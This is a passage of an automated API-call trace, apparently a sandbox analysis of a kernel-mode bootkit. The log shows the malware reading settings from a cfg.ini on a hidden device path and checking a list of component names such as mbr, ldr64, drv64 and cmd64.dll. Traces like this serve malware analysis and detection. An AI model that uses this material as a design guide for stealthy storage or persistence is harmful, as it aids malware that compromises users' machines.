ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.588] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.588] KeLeaveCriticalRegion () [0117.588] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.588] ReleaseMutex (hMutex=0xf0) returned 1 [0117.588] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.588] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.588] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.588] KeEnterCriticalRegion () [0117.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.588] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.588] IdePortDispatch () returned 0x103 [0117.588] KeWaitForMutexObject () returned 0x0 [0117.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.588] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.588] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.588] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.588] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.588] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daf10 [0117.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.588] KeLeaveCriticalRegion () [0117.588] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.588] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.588] KeEnterCriticalRegion () [0117.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.588] KeLeaveCriticalRegion () [0117.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.589] KeEnterCriticalRegion () [0117.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.589] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.589] IdePortDispatch () returned 0x103 [0117.589] KeWaitForMutexObject () returned 0x0 [0117.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.589] KeLeaveCriticalRegion () [0117.589] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.589] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.589] KeEnterCriticalRegion () [0117.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd5000 [0117.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.589] IdePortDispatch () returned 0x103 [0117.589] KeWaitForMutexObject () returned 0x0 [0117.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.589] IdePortDispatch () returned 0x103 [0117.589] KeWaitForMutexObject () returned 0x0 [0117.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] KeLeaveCriticalRegion () [0117.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.590] KeEnterCriticalRegion () [0117.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] KeLeaveCriticalRegion () [0117.590] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.590] KeEnterCriticalRegion () [0117.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.590] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] KeLeaveCriticalRegion () [0117.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.590] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.590] KeEnterCriticalRegion () [0117.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] ExFreePoolWithTag (P=0xfffffa80039daf10, Tag=0x0) [0117.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.590] KeLeaveCriticalRegion () [0117.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.591] ReleaseMutex (hMutex=0xf0) returned 1 [0117.591] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.591] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.591] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.591] KeEnterCriticalRegion () [0117.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.591] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.591] IdePortDispatch () returned 0x103 [0117.591] KeWaitForMutexObject () returned 0x0 [0117.591] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.591] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.591] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.591] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.591] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.591] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.591] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.591] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.591] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.591] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.591] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.591] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.591] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.591] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.591] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.591] KeLeaveCriticalRegion () [0117.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.591] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.591] KeEnterCriticalRegion () [0117.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.592] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.592] IdePortDispatch () returned 0x103 [0117.592] KeWaitForMutexObject () returned 0x0 [0117.592] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.592] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.592] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.592] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.592] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.592] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.592] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.592] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.592] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.592] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.592] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.592] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.592] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.592] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.592] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.592] KeLeaveCriticalRegion () [0117.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.592] ReleaseMutex (hMutex=0x100) returned 1 [0117.592] Sleep (dwMilliseconds=0x2bf20) [0117.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69495490, dwHighDateTime=0x1d24fa4)) [0117.598] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.598] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.598] KeEnterCriticalRegion () [0117.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.599] IdePortDispatch () returned 0x103 [0117.599] KeWaitForMutexObject () returned 0x0 [0117.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.599] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.599] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.599] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.599] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.599] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dae10 [0117.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.599] KeLeaveCriticalRegion () [0117.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.599] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.599] KeEnterCriticalRegion () [0117.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.599] KeLeaveCriticalRegion () [0117.599] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.599] KeEnterCriticalRegion () [0117.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.599] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.599] IdePortDispatch () returned 0x103 [0117.599] KeWaitForMutexObject () returned 0x0 [0117.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.599] KeLeaveCriticalRegion () [0117.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.600] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.600] KeEnterCriticalRegion () [0117.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.600] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd8000 [0117.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.600] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.600] IdePortDispatch () returned 0x103 [0117.600] KeWaitForMutexObject () returned 0x0 [0117.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.600] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.600] IdePortDispatch () returned 0x103 [0117.600] KeWaitForMutexObject () returned 0x0 [0117.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.600] KeLeaveCriticalRegion () [0117.600] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.601] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.601] KeEnterCriticalRegion () [0117.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] KeLeaveCriticalRegion () [0117.601] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.601] KeEnterCriticalRegion () [0117.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.601] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] KeLeaveCriticalRegion () [0117.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.601] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.601] KeEnterCriticalRegion () [0117.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] ExFreePoolWithTag (P=0xfffffa80039dae10, Tag=0x0) [0117.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] KeLeaveCriticalRegion () [0117.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.601] ReleaseMutex (hMutex=0xf0) returned 1 [0117.601] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.601] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.601] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.601] KeEnterCriticalRegion () [0117.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.601] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.601] IdePortDispatch () returned 0x103 [0117.602] KeWaitForMutexObject () returned 0x0 [0117.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.602] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.602] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.602] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.602] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.602] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.602] KeLeaveCriticalRegion () [0117.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.602] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.602] KeEnterCriticalRegion () [0117.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.602] KeLeaveCriticalRegion () [0117.602] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.602] KeEnterCriticalRegion () [0117.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.602] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.602] IdePortDispatch () returned 0x103 [0117.602] KeWaitForMutexObject () returned 0x0 [0117.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.602] KeLeaveCriticalRegion () [0117.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.603] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.603] KeEnterCriticalRegion () [0117.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd9000 